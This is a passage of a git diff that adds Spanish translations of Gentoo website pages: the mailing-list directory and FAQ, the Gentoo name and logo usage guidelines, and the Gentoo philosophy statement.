+<c>nombredelista+subscribe-nomail@lists.gentoo.org</c><br/>
+<c>nombredelista+unsubscribe-nomail@lists.gentoo.org</c>
+</p>
+
+<p>
+Para aprender más acerca de las características de mlmmj, envíe un
+correo en blanco a la siguiente dirección:
+</p>
+
+<p>
+<c>nombredelista+help@lists.gentoo.org</c><br/>
+</p>
+
+<impo>
+También puede aprender más acerca del sistema de listas de correo de
+Gentoo, incluyendo la etiqueta y comportamiento aceptado, leyendo las
+cortas preguntas frecuentes (FAQ) de las <uri link="#faq">listas de
+correo</uri> de Gentoo que aparecen más adelante en este documento.
+</impo>
+
+</body>
+</section>
+<section>
+<title>Listas de correo principales de Gentoo</title>
+<body>
+
+<table>
+<tr>
+  <th>Nombre de la lista</th>
+  <th>Descripción</th>
+</tr>
+<tr>
+  <ti><c>gentoo-user</c></ti>
+  <ti>Soporte general al usuario y discusiones</ti>
+</tr>
+<tr>
+  <ti><c>gentoo-announce</c></ti>
+  <ti>Anuncios generales de Gentoo (nuevos lanzamientos, arreglos de
+  seguridad)</ti>
+</tr>
+<tr>
+  <ti><c>gentoo-dev</c></ti>
+  <ti>Discusiones generales entre desarrolladores Gentoo</ti>
+</tr>
+<tr>
+  <ti><c>gentoo-dev-announce</c></ti>
+  <ti>Anuncios específicos acerca del desarrollo de Gentoo</ti>
+</tr>
+<tr>
+  <ti><c>gentoo-project</c></ti>
+  <ti>Para la discusión de asuntos no-técnicos de Gentoo</ti>
+</tr>
+<tr>
+  <ti><c>gentoo-security</c></ti>
+  <ti>Discusión de asuntos y arreglos de seguridad</ti>
+</tr>
+<tr>
+  <ti><c>gentoo-gmn</c></ti>
+  <ti>Boletín Mensual de Gentoo</ti>
+</tr>
+<tr>
+  <ti><c>gentoo-doc</c></ti>
+  <ti>Para contribuciones de documentación, sugerencias, mejoras y
+  traducciones.</ti>
+</tr>
+<tr>
+  <ti><c>gentoo-doc-cvs</c></ti>
+  <ti>Subscriba a esta lista si desea ser notificado acerca de los
+  cambios en nuestra documentación</ti>
+</tr>
+<tr>
+  <ti><c>gentoo-commits</c></ti>
+  <ti>
+      Subscribirse a esta lista implica querer recibir notificaciones
+      sobre los cambios en el árbol CVS o SVN. ¡Esta es una lista
+      con un tráfico alto y de sólo lectura!
+  </ti>
+</tr>
+<tr>
+  <ti><c>gentoo-ppc-user</c></ti>
+  <ti>Discusiones y soporte de Gentoo Linux/PowerPC</ti>
+</tr>
+<tr>
+  <ti><c>gentoo-ppc-dev</c></ti>
+  <ti>Discusiones de desarrolladores de Gentoo Linux en PowerPC</ti>
+</tr>
+<tr>
+  <ti><c>gentoo-alpha</c></ti>
+  <ti>Para soporte y discusión de usuarios Gentoo Linux/Alpha</ti>
+</tr>
+<tr>
+  <ti><c>gentoo-amd64</c></ti>
+  <ti>Soporte y discusión para usuarios de Gentoo Linux en AMD64</ti>
+</tr>
+<tr>
+  <ti><c>gentoo-hppa</c></ti>
+  <ti>Discusiones acerca de ejecutar Gentoo en la arquitectura HPPA</ti>
+</tr>
+<tr>
+  <ti><c>gentoo-mips</c></ti>
+  <ti>Discusiones acerca de ejecutar Gentoo en la arquitectura MIPS</ti>
+</tr>
+<tr>
+  <ti><c>gentoo-sparc</c></ti>
+  <ti>Soporte y discusión para usuarios de Gentoo Linux en Sparc</ti>
+</tr>
+<tr>
+  <ti><c>gentoo-bsd</c></ti>
+  <ti>Discusiones sobre Gentoo/BSD</ti>
+</tr>
+<tr>
+  <ti><c>gentoo-alt</c></ti>
+  <ti>Discusiones respecto al <uri link="/proj/en/gentoo-alt/">
+  Proyecto Gentoo en Plataformas Alternativas</uri></ti>
+</tr>
+<tr>
+  <ti><c>gentoo-kernel</c></ti>
+  <ti>Anuncios de lanzamiento de gentoo-sources, vesafb-tng, fbsplash
+  y discusiones</ti>
+</tr>
+<tr>
+  <ti><c>gentoo-laptop</c></ti>
+  <ti>Discusiones sobre ahorro de energía, pcmcia y otros asuntos que
+  ver con portátiles</ti>
+</tr>
+<tr>
+  <ti><c>gentoo-desktop</c></ti>
+  <ti>Lista de correo dedicada a Gentoo en el escritorio</ti>
+</tr>
+<tr>
+  <ti><c>gentoo-desktop-research</c></ti>
+  <ti>Discusiones acerca del mejoramiento de la experiencia de
+  escritorio Gentoo</ti>
+</tr>
+<tr>
+  <ti><c>gentoo-hardened</c></ti>
+  <ti>Versión de alta seguridad de Gentoo</ti>
+</tr>
+<tr>
+  <ti><c>gentoo-portage-dev</c></ti>
+  <ti>Discusiones acerca del desarrollo de las fuentes y los
+  interfaces de Portage</ti>
+</tr>
+<tr>
+  <ti><c>gentoo-catalyst</c></ti>
+  <ti>Lista de correo dedicada a catalyst</ti>
+</tr>
+<tr>
+  <ti><c>gentoo-server</c></ti>
+  <ti>Discusiones acerca de Gentoo en ambientes de producción</ti>
+</tr>
+<tr>
+  <ti><c>gentoo-admin</c></ti>
+  <ti>Discusiones acerca de temas de administración de sistemas Gentoo
+  Linux</ti>
+</tr>
+<tr>
+  <ti><c>gentoo-cluster</c></ti>
+  <ti>Discusiones sobre Gentoo en entornos agrupados (clusters)</ti>
+</tr>
+<tr>
+  <ti><c>gentoo-devhelp</c></ti>
+  <ti>Discusión y ayuda con el desarrollo de ebuilds para usuarios</ti>
+</tr>
+<tr>
+  <ti><c>gentoo-web-user</c></ti>
+  <ti>Discusiones sobre la configuración web y administración
+  relativos a las herramientas web de Gentoo</ti>
+</tr>
+<tr>
+  <ti><c>gentoo-embedded</c></ti>
+  <ti>Para discusiones de devs y usuarios Gentoo Linux/embedded</ti>
+</tr>
+<tr>
+  <ti><c>gentoo-releng</c></ti>
+  <ti>Lista de correo para el equipo de desarrollo de versiones Gentoo</ti>
+</tr>
+<tr>
+  <ti><c>gentoo-pr</c></ti>
+  <ti>Lista de correos para todas las discusiones acerca de relaciones
+  públicas Gentoo</ti>
+</tr>
+<tr>
+  <ti><c>gentoo-qa</c></ti>
+  <ti>Discusiones acerca de control de calidad y su mejora en Gentoo</ti>
+</tr>
+<tr>
+  <ti><c>gentoo-devrel</c></ti>
+  <ti>Lista de correo de Relaciones entre Desarrolladores Gentoo</ti>
+</tr>
+<tr>
+  <ti><c>gentoo-userrel</c></ti>
+  <ti>Lista de correos Relaciones de Usuarios Gentoo</ti>
+</tr>
+<tr>
+  <ti><c>gentoo-council</c></ti>
+  <ti>Lista de correos del Consejo Gentoo</ti>
+</tr>
+<tr>
+  <ti><c>gentoo-mirrors</c></ti>
+  <ti>Anuncios y discusiones entre administradores de servidores
+  réplica (mirrors) y desarrolladores con respecto a lanzamientos y otros
+  asuntos</ti>
+</tr>
+<tr>
+  <ti><c>gentoo-perl</c></ti>
+  <ti>Discusiones de perl en Gentoo</ti>
+</tr>
+<tr>
+  <ti><c>gentoo-java</c></ti>
+  <ti>Discusiones de Java en Gentoo</ti>
+</tr>
+<tr>
+  <ti><c>gentoo-science</c></ti>
+  <ti>Discusiones respecto a aplicaciones científica y su integración
+  en Gentoo</ti>
+</tr>
+<tr>
+  <ti><c>gentoo-gnustep</c></ti>
+  <ti>Discusiones acerca de GNUstep en Gentoo</ti>
+</tr>
+<tr>
+  <ti><c>gentoo-accessibility</c></ti>
+  <ti>Discusiones sobre el <uri link="/proj/en/desktop/accessibility/">
+  Proyecto de Accessibilidad Gentoo</uri></ti>
+</tr>
+<tr>
+  <ti><c>gentoo-uk</c></ti>
+  <ti>Discusiones en el ámbito del Reino Unido para desarrolladores y
+  sobre organización de eventos basados localmente</ti>
+</tr>
+<tr>
+  <ti><c>gentoo-au</c></ti>
+  <ti>Discusión entre los desarrolladores australianos y organización
+  de eventos locales</ti>
+</tr>
+<tr>
+  <ti><c>gentoo-soc</c></ti>
+  <ti>Discusiones relacionadas a las actividades Gentoo relativas al
+  Summer of Code de Google</ti>
+</tr>
+<tr>
+  <ti><c>gentoo-lisp</c></ti>
+  <ti>Discusiones sobre lisp en Gentoo</ti>
+</tr>
+<tr>
+  <ti><c>gentoo-vdr</c></ti>
+  <ti>Discusiones acerca de VDR en Gentoo</ti>
+</tr>
+<tr>
+  <ti><c>gentoo-nfp</c></ti>
+  <ti>Lista de correo de los miembros del consejo de Gentoo</ti>
+</tr>
+<tr>
+  <ti><c>gentoo-scm</c></ti>
+  <ti>Discusión sobre la migración de los repositorios principales de
+  Gentoo a otros sistemas de control de versiones.</ti>
+</tr>
+<tr>
+  <ti><c>gentoo-pms</c></ti>
+  <ti>Discusión sobre la especificación del gestor de paquetes
+  de Gentoo</ti>
+</tr>
+</table>
+
+</body>
+</section>
+<section>
+<title>Listas de correo en otras lenguas (no inglés)</title>
+<body>
+
+<table>
+<tr>
+  <th>Nombre de la lista</th>
+  <th>Descripción</th>
+</tr>
+<tr>
+  <ti><c>gentoo-user-de</c></ti>
+  <ti>Lista de discusión para usuarios germanoparlantes</ti>
+</tr>
+<tr>
+  <ti><c>gentoo-user-br</c></ti>
+  <ti>Lista de correo para usuarios brasileros de Gentoo</ti>
+</tr>
+<tr>
+  <ti><c>gentoo-user-el</c></ti>
+  <ti>Lista de correo para usuarios griegos de Gentoo</ti>
+</tr>
+<tr>
+  <ti><c>gentoo-user-es</c></ti>
+  <ti>Lista de discusión y ayuda para usuarios hispanoparlantes de
+  Gentoo</ti>
+</tr>
+<tr>
+  <ti><c>gentoo-user-fr</c></ti>
+  <ti>Lista de correos para usuarios franceses de Gentoo</ti>
+</tr>
+<tr>
+  <ti><c>gentoo-user-hu</c></ti>
+  <ti>Lista de correos para usuarios húngaros de Gentoo</ti>
+</tr>
+<tr>
+  <ti><c>gentoo-user-id</c></ti>
+  <ti>Lista de correos para usuarios indonesios de Gentoo</ti>
+</tr>
+<tr>
+  <ti><c>gentoo-user-kr</c></ti>
+  <ti>Lista de correo para usuarios coreanos de Gentoo</ti>
+</tr>
+<tr>
+  <ti><c>gentoo-user-nl</c></ti>
+  <ti>Lista de correo para usuarios flamencos de Gentoo</ti>
+</tr>
+<tr>
+  <ti><c>gentoo-user-pl</c></ti>
+  <ti>Lista de correos para usuarios polacos de Gentoo</ti>
+</tr>
+<tr>
+  <ti><c>gentoo-user-cs</c></ti>
+  <ti>Lista de correos para usuarios checos y eslovacos de Gentoo</ti>
+</tr>
+<tr>
+  <ti><c>gentoo-user-ru</c></ti>
+  <ti>Lista de correos para usuarios rusos de Gentoo</ti>
+</tr>
+<tr>
+  <ti><c>gentoo-gwn-es</c></ti>
+  <ti>Boletín Semanal de Gentoo en castellano</ti>
+</tr>
+<tr>
+  <ti><c>gentoo-doc-de</c></ti>
+  <ti>Lista de correos para la traducción de documentación al alemán</ti>
+</tr>
+<tr>
+  <ti><c>gentoo-doc-el</c></ti>
+  <ti>Lista de correos para la traducción de documentación al griego</ti>
+</tr>
+<tr>
+  <ti><c>gentoo-doc-es</c></ti>
+  <ti>Lista de correo dedicada a la traducción y creación de documentación
+  en Español de Gentoo
+  </ti>
+</tr>
+<tr>
+  <ti><c>gentoo-doc-fi</c></ti>
+  <ti>Lista de correos para la traducción de documentación al finlandés</ti>
+</tr>
+<tr>
+  <ti><c>gentoo-doc-fr</c></ti>
+  <ti>Lista de correos para la traducción de documentación al francés</ti>
+</tr>
+<tr>
+  <ti><c>gentoo-docs-it</c></ti>
+  <ti>Lista de correos para la traducción de documentación al italiano</ti>
+</tr>
+<tr>
+  <ti><c>gentoo-doc-nl</c></ti>
+  <ti>Lista de correos para la traducción de documentación en
+  holandés de Gentoo</ti>
+</tr>
+<tr>
+  <ti><c>gentoo-doc-pl</c></ti>
+  <ti>Lista de correos para la traducción de documentación al polaco</ti>
+</tr>
+<tr>
+  <ti><c>gentoo-doc-ru</c></ti>
+  <ti>Lista de correos para la traducción de documentación en ruso de
+  Gentoo</ti>
+</tr>
+</table>
+
+</body>
+</section>
+<section>
+<title>Otras listas de correo</title>
+<body>
+
+<table>
+<tr>
+  <th>Nombre de la lista</th>
+  <th>Descripción</th>
+</tr>
+<tr>
+  <ti><c>libconf</c></ti>
+  <ti>Discusiones de desarrollo de libconf</ti>
+</tr>
+<tr>
+  <ti><c>bug-wranglers</c></ti>
+  <ti>Lista de correos especial para Gentoo Bug Wranglers. Esta lista
+  es solo por invitación. Si le interesa suscribirse, lleve a cabo
+  actividad en bugzilla y ayude a los miembros existentes eliminar
+  bugs. Será notado y eventualmente será invitado a ser un
+  "bug-wrangler".</ti>
+</tr>
+</table>
+
+</body>
+</section>
+<section>
+<title>Listas de correo inactivas o cerradas</title>
+<body>
+
+<p>
+Todavía existen como archivos, pero estas listas están cerradas a
+nuevos correos.
+</p>
+
+<table>
+<tr>
+  <th>Nombre de Lista</th>
+  <th>Descripción</th>
+</tr>
+<tr>
+  <ti><c>gentoo-doc-lt</c></ti>
+  <ti>Lista de correo para traducción de documentación Gentoo al
+  idioma lituano</ti>
+</tr>
+<tr>
+  <ti><c>gentoo-doc-id</c></ti>
+  <ti>Lista de correos para la traducción de documentación al indonesio</ti>
+</tr>
+<tr>
+  <ti><c>gentoo-forum-translations</c></ti>
+  <ti>Lista de correo para traducciones de aportes a los foros</ti>
+</tr>
+<tr>
+  <ti><c>gentoo-translators</c></ti>
+  <ti>Lista de correo para discursión de asuntos de traducción de
+  documentación</ti>
+</tr>
+<tr>
+  <ti><c>gentoo-arm</c></ti>
+  <ti>Discusiones acerca de Gentoo en arquitectura ARM</ti>
+</tr>
+<tr>
+  <ti><c>gentoo-gwn-fr</c></ti>
+  <ti>Boletín Semanal Gentoo en francés</ti>
+</tr>
+<tr>
+  <ti><c>gentoo-gwn-pl</c></ti>
+  <ti>Boletín Semanal Gentoo en polaco</ti>
+</tr>
+<tr>
+  <ti><c>gentoo-dev-lang</c></ti>
+  <ti>Discusiones acerca de soporte de lenguajes de programación y
+  asuntos relacionados con Gentoo</ti>
+</tr>
+<tr>
+  <ti><c>gentoo-ia64</c></ti>
+  <ti>Discusiones de soporte de usuarios en Gentoo Linux/ia64</ti>
+</tr>
+<tr>
+  <ti><c>gentoo-scire</c></ti>
+  <ti>
+    Discusión acerca del proyecto de configuración, instalación y
+    replicación del entorno de sistema <uri
+    link="/proj/en/scire/">SCIRE</uri>
+  </ti>
+</tr>
+<tr>
+  <ti><c>gentoo-media</c></ti>
+  <ti>Discusiones acerca de paquetes de media de Gentoo</ti>
+</tr>
+<tr>
+  <ti><c>gentoo-gwn-nl</c></ti>
+  <ti>Boletín Semanal Gentoo en idioma holandés</ti>
+</tr>
+<tr>
+  <ti><c>gentoo-doc-hu</c></ti>
+  <ti>Lista de correos para la traducción de documentación al húngaro</ti>
+</tr>
+<tr>
+  <ti><c>gentoo-gwn-de</c></ti>
+  <ti>Boletín Semanal Gentoo en idioma alemán</ti>
+</tr>
+<tr>
+  <ti><c>gentoo-xbox</c></ti>
+  <ti>Discusiones acerca de Gentoo para el Xbox</ti>
+</tr>
+<tr>
+  <ti><c>gentoo-cygwin</c></ti>
+  <ti>Para soporte y discusiones de usuarios cygwin en Gentoo</ti>
+</tr>
+<tr>
+  <ti><c>www-redesign</c></ti>
+  <ti>Dedicada al desarrollo del nuevo sitio web de Gentoo</ti>
+</tr>
+<tr>
+  <ti><c>gentoo-installer</c></ti>
+  <ti>
+    Discusiones acerca del <uri link="/proj/en/releng/installer/">Gentoo Linux
+    Installer Project</uri>
+  </ti>
+</tr>
+<tr>
+  <ti><c>gentoo-performance</c></ti>
+  <ti>Discusiones acerca de la mejora del desempeño de Gentoo</ti>
+</tr>
+</table>
+</body>
+</section>
+
+<section>
+<title>Archivos</title>
+<body>
+
+<p>
+Los archivos de las listas de correo de Gentoo se recopilan en
+<uri link="http://archives.gentoo.org">archives.gentoo.org</uri>.
+</p>
+
+<p>
+Los siguientes sitios también albergan archivos de la mayoría de
+las listas de correo<br/>
+<uri link="http://news.gmane.org/search.php?match=gentoo">Gmane</uri><br/>
+<uri link="http://marc.theaimsgroup.com/">MARC: Mailing list
+ARChives</uri><br/>
+<uri link="http://www.mail-archive.com">Mail-Archive</uri>
+</p>
+
+</body>
+</section>
+
+<section id="faq">
+<title>Mini PUF/FAQ acerca de listas de correo</title>
+<body>
+
+<p>
+<b>Me suscribí a una lista usando la dirección de mi casa y no puedo
+enviar correo desde el trabajo, ¿cómo resuelvo ésto?</b>
+</p>
+
+<p>
+Para reducir spam, todas nuestras listas están configuradas para
+permitir solamente envíos de direcciones de correo oficialmente
+suscritas. Afortunadamente, <c>mlmmj</c> soporta suscripciones
+"nomail", lo cual permite registrar direcciones de correo alternativas
+desde las cuales también se puede enviar correo a las listas. Por
+ejemplo, digamos que se suscribió a la lista <c>gentoo-dev</c> como
+<c>jaimito@casita.com</c> pero también quiere enviar correo desde
+<c>jaime@trabajo.com</c>. Para hacer esto, envíe un correo (como
+<c>jaimito@casita.com</c>) a
+<c>gentoo-dev+subscribe-nomail@lists.gentoo.org</c>. Ahora debería
+poder enviar correo a <c>gentoo-dev</c> desde casa y desde el trabajo.
+</p>
+
+<p>
+En línea con el primer objetivo de la reducción de spam, si realiza un
+envío a la lista desde una dirección que no está suscrita, su correo
+será entregado a <path>/dev/null</path> y <c>no</c> recibirá un
+mensaje de rebote de nuestros servidores. Esto impide a los spammers
+falsificar su dirección para producirle entrega de mensajes de
+rebote.
+</p>
+
+<p>
+<b>Quisiera cambiar de envíos normales a una entrega resumida, ¿cómo
+lo hago?</b>
+</p>
+
+<p>
+Sálgase (unsubscribe) de la lista normal y suscríbase (subscribe) a la
+lista de entrega resumida. Para la lista <c>nombre</c>, esto se lleva
+a cabo enviando correos en blanco a las siguientes dos direcciones:
+</p>
+
+<p>
+<c>nombredelista+unsubscribe@lists.gentoo.org</c><br/>
+<c>nombredelista+subscribe-digest@lists.gentoo.org</c>
+</p>
+
+<p>
+<b>¿Cómo uso procmail para filtrar los mensajes de las listas Gentoo?</b>
+</p>
+
+<p>
+Para filtrar los correos entrantes de una lista denominada
+<c>nombre</c>, use la siguiente receta de <c>procmail</c>:
+</p>
+
+<pre caption="Receta ejemplo para procmail" >
+:0:
+* ^List-Id:.*nombredelista\.gentoo\.org
+Mail/nombredelista
+</pre>
+
+<p>
+Esto es igual a como se filtrarían los correos entrantes desde el
+gestor de listas de correo <e>Mailman</e>.
+</p>
+
+<p>
+<b>Miscelánea de las políticas de las listas.</b>
+</p>
+
+<p>
+El correo HTML no es aconsejable, pero no está prohibido (existen algunos
+MUA, específicamante los basados en web que hacen muy difícil desactivar el
+HTML completamente). Tenga en cuenta que algunos usuarios pueden haber
+configurado en su recepción la ocultación completa de HTML, por lo que
+puede parecer que sus mensajes son ignorados, especialmente si envió su
+mensaje únicamente en HTML. En orden de precedencia, los formatos de
+envío deben ser: text/plain, múltiple con text/plain antes que text/html,
+text/html. MIME es aceptado y ampliamente usado.
+</p>
+
+<p>
+Por favor, no envíe a la lista ningún mensaje de vacaciones o fuera de
+oficina. En interés de reducir el spam en la lista, si activa cualquier
+autorespuesta en un mensaje a las listas, cancelaremos su suscripción de
+TODAS las listas. Las direcciones suscritas previamente que envíen mensajes
+al servidor de correo serán también eliminadas.
+</p>
+
+<p>
+¡No haga cruces de hilos (cross-post) cuando envíe mensajes a una lista!.
+Enviar el mismo mensaje a más de una lista en el mismo momento produce
+la fragmentación del hilo cuando alguien responde a una lista y otra
+persona responde a otra lista. No hay garantía de que los receptores
+de su mensaje estén en ambas listas. Elija únicamente una lista
+cuando envíe un mensaje.
+</p>
+
+<note>
+Para la netiqueta, <uri link="http://www.dtcc.edu/cs/rfc1855.html">ésta
+guía</uri> (en inglés) es un excelente comienzo.
+</note>
+
+</body>
+</section>
+
+</chapter>
+</mainpage>
diff --git a/xml/htdocs/main/es/name-logo.xml b/xml/htdocs/main/es/name-logo.xml
new file mode 100644
index 00000000..cfa904b7
--- /dev/null
+++ b/xml/htdocs/main/es/name-logo.xml
@@ -0,0 +1,280 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE guide SYSTEM "/dtd/guide.dtd">
+
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/main/es/name-logo.xml,v 1.2 2007/03/25 17:45:03 yoswink Exp $ -->
+
+<guide link="/main/es/name-logo.xml" lang="es">
+<title>Pautas de Utilización del logo y nombre de Gentoo</title>
+
+<author>
+  The Gentoo Foundation
+</author>
+<author title="Traductor">
+	<mail link="krego.gentoo@gmail.com">Carlos Jiménez Pacho</mail>
+</author>
+<abstract>
+Este documento cubre las directrices de la utilización del Nombre y Logo de
+Gentoo.
+</abstract>
+
+<!-- The content of this document is licensed under the CC-BY-SA license -->
+<!-- See http://creativecommons.org/licenses/by-sa/2.5 -->
+<license/>
+
+<version>1.8</version>
+<date>2005-12-11</date>
+
+<chapter>
+<title>Preliminares</title>
+<section>
+<body>
+
+<p>
+Este documento describe el uso correcto del nombre de Gentoo,el logo "g" y
+cualquier otra marca asociada de software o relacionada con los ordenadores que
+no están bajo la dirección de la Fundación Gentoo. Si tienes alguna pregunta
+relacionada con estas pautas, por favor contacta con <mail
+link="trustees@gentoo.org">Gentoo Foundation, Inc.</mail>
+</p>
+
+<p>
+La Fundación de Gentoo se reserva el derecho a cambiar estos términos de cuando
+en cuando a su exclusiva discrección. Por este motivo, te animamos a revisar
+estos estamentos de manera periódica.
+</p>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Definiciones</title>
+<section>
+<title>El proyecto Gentoo</title>
+<body>
+
+<p>
+Los esfuerzos de los desarrolladores voluntarios están dirigidos actualmente por
+la Fundación Gentoo, una sociedad sin ánimo de lucro.
+</p>
+
+</body>
+</section>
+<section>
+<title>Contenido producido por el proyecto Gentoo</title>
+<body>
+
+<p>
+Cualquier contenido está bajo el copyright de la Fundación Gentoo.
+</p>
+
+</body>
+</section>
+<section>
+<title>El logo "g"</title>
+<body>
+
+<fig link="/images/glogo-small.png"/>
+
+</body>
+</section>
+<section>
+<title>Material gráfico de Gentoo</title>
+<body>
+
+<p>
+Todo el material gráfico producido por <e>el proyecto Gentoo</e> (Mirar la
+definición de arriba).
+</p>
+
+</body>
+</section>
+<section>
+<title>Sitio de la comunidad Gentoo</title>
+<body>
+
+<p>
+Un sitio web sin ánimo de lucro, cuyo principal objetivo es proporcionar a
+cualquier usuario de Gentoo información adicional sobre Gentoo y cualquier tema
+relacionado con Gentoo.
+</p>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Propiedad de las marcas</title>
+<section>
+<body>
+
+<p>
+El nombre "Gentoo" y el logo "g", actualmente son marcas registradas de
+la Fundación Gentoo.
+</p>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Utilización del nombre de Gentoo</title>
+<section>
+<body>
+
+<p>
+Tienes permitido la utilización del nombre de Gentoo en contenido relacionado
+con ordenadores, siempre que:
+</p>
+
+<ol>
+  <li>
+    Tengas conocimiento que el nombre "Gentoo" es una marca registrada
+    de la Fundación Gentoo, y
+  </li>
+  <li>
+    no titules ningún software oo proyecto o producto relacionado con la
+    informática "Gentoo" o aparezca "Gentoo" en el interior del nombre, y
+  </li>
+  <li>
+    el nombre del campo para tu proyecto software o producto 
+    relacionado con la informática no contenga "Gentoo", y
+  </li>
+  <li>
+    <e>
+      claramente espongas que el contenido, proyecto, sitio, producto o
+      cualquier otro tipo de asunto con el cual el nombre "Gentoo" esté
+      asociado, no forme parte del proyecto Gentoo ni dirigido o controlado por
+      la Fundación Gentoo.
+    </e>
+  </li>
+</ol>
+
+<p>
+No consideramos aplicables estas reestricciones al proyecto <uri
+link="http://www.obsession.se/gentoo/">Gentoo file manager</uri>, desarrollado
+por Emil Bink; no es como el proyecto del sistema operativo.
+</p>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Utilización del Logo y material gráfico de Gentoo</title>
+<section>
+<body>
+
+<p>
+Se te permite el uso del logo "g" de Gentoo y del material gráfico que pertenece
+a la Fundación Gentoo bajo las siguientes condiciones:
+</p>
+
+</body>
+</section>
+<section>
+<title>Uso Comercial</title>
+<body>
+
+<p>
+El uso comercial del logo "g" de Gentoo y del material gráfico está permitido
+para <e>cualquier producto hardware o software</e> que <e>contenga</e> o esté
+<e>basado en</e> el contenido producido por el proyecto Gentoo, o cualquier otro
+proyecto o servicio que haga referencia a Gentoo o al proyecto Gentoo, siempre
+que las siguientes condiciones sean conocidas:
+</p>
+
+<ol>
+  <li>
+    Tengas conocimiento que el logo "g" es una marca registrada por la Fundación
+    Gentoo, y que los derechos de copia de cualquier material gráfico de Gentoo
+    son de la Fundación Gentoo, y
+  </li>
+  <li>
+    el material gráfico usado <e>no</e> sea la principal marca mostrada en el
+    producto, y que de esta manera se pretenda transmitir que el producto
+    contiene "contenido producido por el proyecto Gentoo", pero <e>no un
+    producto vendido o apoyado</e> por la Fundación Gentoo.
+  </li>
+</ol>
+
+<p>
+<e> 
+El uso comercial del logo "g" de Gentoo y del material gráfico de Gentoo
+para cualquier otro propósito está exprésamente prohibido.
+</e>
+</p>
+
+</body>
+</section>
+<section>
+<title>Uso No Comercial</title>
+<body>
+
+<p>
+El uso no comercial del logo "g" y el material gráfico de Gentoo está permitido
+siempre que las siguientes condiciones sean conocidas:
+</p>
+
+<ol>
+  <li>
+    Tengas conocimiento que el logo "g" es una marca registrada por la Fundación
+    Gentoo, y que los derechos de copia de cualquier material gráfico de Gentoo
+    son de la Fundación Gentoo, y
+  </li>
+  <li>
+    el logo "g" y el material gráfico de Gentoo son utilizados en contenido que
+    se refiera al proyecto Gentoo, dirigido por la Fundación Gentoo, y ningún
+    esfuerzo fuera o más allá de la autoridad de la Fundación Gentoo, y
+  </li>
+  <li>
+    <e>
+      claramente afirmas que el contenido, proyecto, sitio, producto o cualquier
+      otro tipo de asunto asociado con el logo "g" o el material gráfico de
+      Gentoo, no forma parte del proyecto Gentoo y no esté dirigido o controlado
+      por la Fundación Gentoo.
+    </e>
+  </li>
+</ol>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Proyectos de la Comunidad Gentoo</title>
+<section>
+<body>
+
+<p>
+La Fundación Gentoo  otorga a los sitios de la comunidad Gentoo, definido
+más arriba, el derecho de usar el nombre de Gentoo en el nombre de sus 
+proyectos y como nombre del ámbito siempre que:
+</p>
+
+<ol>
+  <li>
+    el sitio web afirme claramente, en cada página, que el proyecto no es un
+    proyecto oficial de Gentoo etiquetándolo como "sitio de noticias", "sitio
+    de aficionado", "sitio no oficial" o "sitio de la comunidad", y
+  </li>
+  <li>
+    el sitio web no imite el nombre o el diseño de cualquiera de nuestros sitios
+    oficiales, y
+  </li>
+  <li>
+    tengas conocimiento que el nombre "Gentoo" es una marca registrado
+    de la Fundación Gentoo.
+  </li>
+</ol>
+
+<p>
+Cualquier otro uso del nombre de Gentoo, el logo y el material gráfico 
+queda obligado por las pautas antes mencionadas.
+</p>
+
+</body>
+</section>
+</chapter>
+
+</guide>
diff --git a/xml/htdocs/main/es/philosophy.xml b/xml/htdocs/main/es/philosophy.xml
new file mode 100644
index 00000000..e6deb3e8
--- /dev/null
+++ b/xml/htdocs/main/es/philosophy.xml
@@ -0,0 +1,80 @@
+<?xml version='1.0' encoding='utf-8'?>
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/main/es/philosophy.xml,v 1.4 2007/03/25 17:45:03 yoswink Exp $-->
+
+<!DOCTYPE mainpage SYSTEM "/dtd/guide.dtd">
+
+<mainpage lang="es">
+<title>La Filosofía de Gentoo</title>
+<author title="Autor">
+  <mail link="drobbins@gentoo.org">Daniel Robbins</mail>
+</author>
+<author title="Editor">
+  <mail link="curtis119@gentoo.org">Curtis Napier</mail>
+</author>
+<author title="Traductor">
+  <mail link="chiguire@gentoo.org">John Christian Stoddart</mail>
+</author>
+<author title="Traductor">
+  <mail link="yoswink@gentoo.org">José Luis Rivero</mail>
+</author>
+<author title="Traductor">
+  <mail link="linuxblues@gentoo-es.org">LinuxBlues</mail>
+</author>
+
+<abstract>
+El documento explica la filosofía detrás de Gentoo.
+</abstract>
+
+<license/>
+
+<version>1.3</version>
+<date>2006-04-30</date>
+
+<chapter>
+<title>La Filosofía de Gentoo</title>
+<section>
+<body>
+
+<p>
+Cada usuario necesita hacer trabajo. El fin de Gentoo es diseñar
+herramientas y sistemas que permiten al usuario hacer ese trabajo de
+la manera más agradable y eficiente posible, tal como
+el <e>usuario</e> lo desee. Nuestras herramientas deben dar gusto
+utilizar y debe ayudar al usuario apreciar el valor de Linux y la
+comunidad y flexibilidad del software libre. Esto solo es posible
+cuando la herramienta está diseñada para reflejar y transmitir la
+voluntad del usuario y dejar abierta las posibilidades de la forma
+final de la materia prima (en este caso, las fuentes). Si la
+herramienta obliga al usuario a hacer cosas de una manera particular,
+entonces está trabajando en contra, en vez de a favor del
+usuario. Todos hemos experimentado situaciones donde las herramientas
+parecen imponer sus voluntades respectivas sobre nosotros. Esto es
+atraso y contrario a la filosofía Gentoo.
+</p>
+
+<p>
+Expresado de otra manera, la filosofía Gentoo abarca la creación de
+mejores herramientas. Cuando una herramienta hace su trabajo a la
+perfección, tal vez ni siquiera se de cuenta de su presencia, porque
+no interfiere ni hace se hace sentir, ni lo obliga a interactuar si no
+lo desea. La herramienta sirve al usuario en vez del usuario servir a
+la herramienta.
+</p>
+
+<p>
+La meta de Gentoo es esforzarse para crear herramientas cerca del
+ideal. Herramientas que puedan acomodarse a necesidades de distintos usuarios
+con distintas metas. ¿No le encanta cuando encuentra una herramienta
+que hace exactamente lo que quiere de ella? ¿No se siente bien?
+Nuestra misión es darle esa sensación a la mayor cantidad de personas
+que sea posible.
+</p>
+
+<p>
+Daniel Robbins<br/>
+Anterior Arquitecto Jefe
+</p>
+</body>
+</section>
+</chapter>
+</mainpage>
diff --git a/xml/htdocs/main/es/projects.xml b/xml/htdocs/main/es/projects.xml
new file mode 100644
index 00000000..d9c0e764
--- /dev/null
